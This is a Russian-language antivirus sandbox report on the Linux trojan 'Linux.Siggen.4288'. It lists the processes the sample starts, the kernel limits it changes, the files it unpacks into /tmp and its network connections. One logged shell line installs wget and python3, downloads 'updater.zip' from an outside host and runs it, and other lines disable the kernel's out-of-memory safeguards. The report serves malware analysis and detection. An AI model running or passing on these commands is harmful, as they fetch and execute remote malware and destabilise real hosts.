Linux.Siggen.4288

Техническая информация

Вредоносные функции:

Подменяет имя приложения на:

<SAMPLE>

Запускает процессы:

<SAMPLE_FULL_PATH>
sh -c ulimit -n 999999 || ulimit -n 99999 && ulimit -s 25600000 && ulimit -i 12000000 && echo 800000000 >/proc/sys/kernel/threads-max && echo 600000000 >cat /proc/sys/kernel/shmmni && echo 4000000 >/proc/sys/kernel/pid_max; sysctl -w fs.file-max=100000
sysctl -w fs.file-max=100000
sh -c echo 0 > /proc/sys/vm/panic_on_oom && echo 0 > cat /proc/sys/vm/oom_kill_allocating_task && echo 2 > cat /proc/sys/vm/overcommit_memory
sh -c cd /tmp; (( apt update -y && apt install python3 wget -y ) || ( yum update -y && yum install epel-release -y && yum install python3 wget -y )); wget -O updater.zip http://repo.ark-event.net/downloads/updater.zip; python3 updater.zip && rm updater.zip && cd ~
apt update -y
/usr/bin/dpkg --print-foreign-architectures
/usr/lib/apt/methods/http

Завершает следующие процессы:

/usr/lib/apt/methods/http

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

/tmp/_MEIV0eMBv/_cffi_backend.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/bcrypt/_bcrypt.abi3.so
/tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_openssl.abi3.so
/tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_rust.abi3.so
/tmp/_MEIV0eMBv/lib-dynload/_asyncio.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_bz2.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_cn.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_hk.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_jp.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_kr.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_tw.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_contextvars.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_ctypes.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_decimal.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_hashlib.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_json.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_lzma.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_multibytecodec.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_multiprocessing.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_opcode.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_posixshmem.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_queue.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_ssl.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/mmap.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/readline.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/resource.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/termios.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/libbz2.so.1.0
/tmp/_MEIV0eMBv/libcrypto.so.1.0.0
/tmp/_MEIV0eMBv/libexpat.so.1
/tmp/_MEIV0eMBv/libffi-9c61262e.so.8.1.0
/tmp/_MEIV0eMBv/libffi.so.6
/tmp/_MEIV0eMBv/libgcc_s.so.1
/tmp/_MEIV0eMBv/liblzma.so.5
/tmp/_MEIV0eMBv/libmpdec.so.2
/tmp/_MEIV0eMBv/libpython3.9.so.1.0
/tmp/_MEIV0eMBv/libreadline.so.6
/tmp/_MEIV0eMBv/libssl.so.1.0.0
/tmp/_MEIV0eMBv/libtinfo.so.5
/tmp/_MEIV0eMBv/libz.so.1
/tmp/_MEIV0eMBv/nacl/_sodium.abi3.so
/tmp/_MEIV0eMBv/base_library.zip
/tmp/_MEIV0eMBv/certifi/cacert.pem
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/INSTALLER
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.APACHE
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.BSD
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.PSF
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/METADATA
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/RECORD
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/WHEEL
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/top_level.txt

Создает папки:

/tmp/_MEIV0eMBv
/tmp/_MEIV0eMBv/bcrypt
/tmp/_MEIV0eMBv/cryptography
/tmp/_MEIV0eMBv/cryptography/hazmat
/tmp/_MEIV0eMBv/cryptography/hazmat/bindings
/tmp/_MEIV0eMBv/lib-dynload
/tmp/_MEIV0eMBv/nacl
/tmp/_MEIV0eMBv/certifi
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info

Создает или модифицирует файлы:

/tmp/_MEIV0eMBv/_cffi_backend.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/bcrypt/_bcrypt.abi3.so
/tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_openssl.abi3.so
/tmp/_MEIV0eMBv/cryptography/hazmat/bindings/_rust.abi3.so
/tmp/_MEIV0eMBv/lib-dynload/_asyncio.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_bz2.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_cn.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_hk.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_jp.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_kr.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_codecs_tw.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_contextvars.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_ctypes.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_decimal.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_hashlib.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_json.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_lzma.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_multibytecodec.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_multiprocessing.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_opcode.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_posixshmem.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_queue.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/_ssl.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/mmap.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/readline.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/resource.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/lib-dynload/termios.cpython-39-x86_64-linux-gnu.so
/tmp/_MEIV0eMBv/libbz2.so.1.0
/tmp/_MEIV0eMBv/libcrypto.so.1.0.0
/tmp/_MEIV0eMBv/libexpat.so.1
/tmp/_MEIV0eMBv/libffi-9c61262e.so.8.1.0
/tmp/_MEIV0eMBv/libffi.so.6
/tmp/_MEIV0eMBv/libgcc_s.so.1
/tmp/_MEIV0eMBv/liblzma.so.5
/tmp/_MEIV0eMBv/libmpdec.so.2
/tmp/_MEIV0eMBv/libpython3.9.so.1.0
/tmp/_MEIV0eMBv/libreadline.so.6
/tmp/_MEIV0eMBv/libssl.so.1.0.0
/tmp/_MEIV0eMBv/libtinfo.so.5
/tmp/_MEIV0eMBv/libz.so.1
/tmp/_MEIV0eMBv/nacl/_sodium.abi3.so
/tmp/_MEIV0eMBv/base_library.zip
/tmp/_MEIV0eMBv/certifi/cacert.pem
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/INSTALLER
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.APACHE
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.BSD
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/LICENSE.PSF
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/METADATA
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/RECORD
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/WHEEL
/tmp/_MEIV0eMBv/cryptography-36.0.1.dist-info/top_level.txt
/proc/sys/fs/file-max
/proc/sys/vm/panic_on_oom
/root/cat
/var/lib/apt/lists/lock
/var/lib/apt/lists/security.debian.org_dists_jessie_updates_InRelease
/var/lib/apt/lists/ftp.ru.debian.org_debian_dists_jessie-updates_InRelease

Сетевая активность:

Устанавливает соединение:

<LOCAL_DNS_SERVER>
15#.##1.66.132:80
15#.##1.130.132:80
15#.##1.194.132:80
15#.##1.2.132:80
[2#####e42:400::644]:80
[2#####e42:600::644]:80
[2####4e42::644]:80
[2#####e42:200::644]:80
85.###.112.112:80

DNS ASK:

se####ty.debian.org
ft#.##.debian.org

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению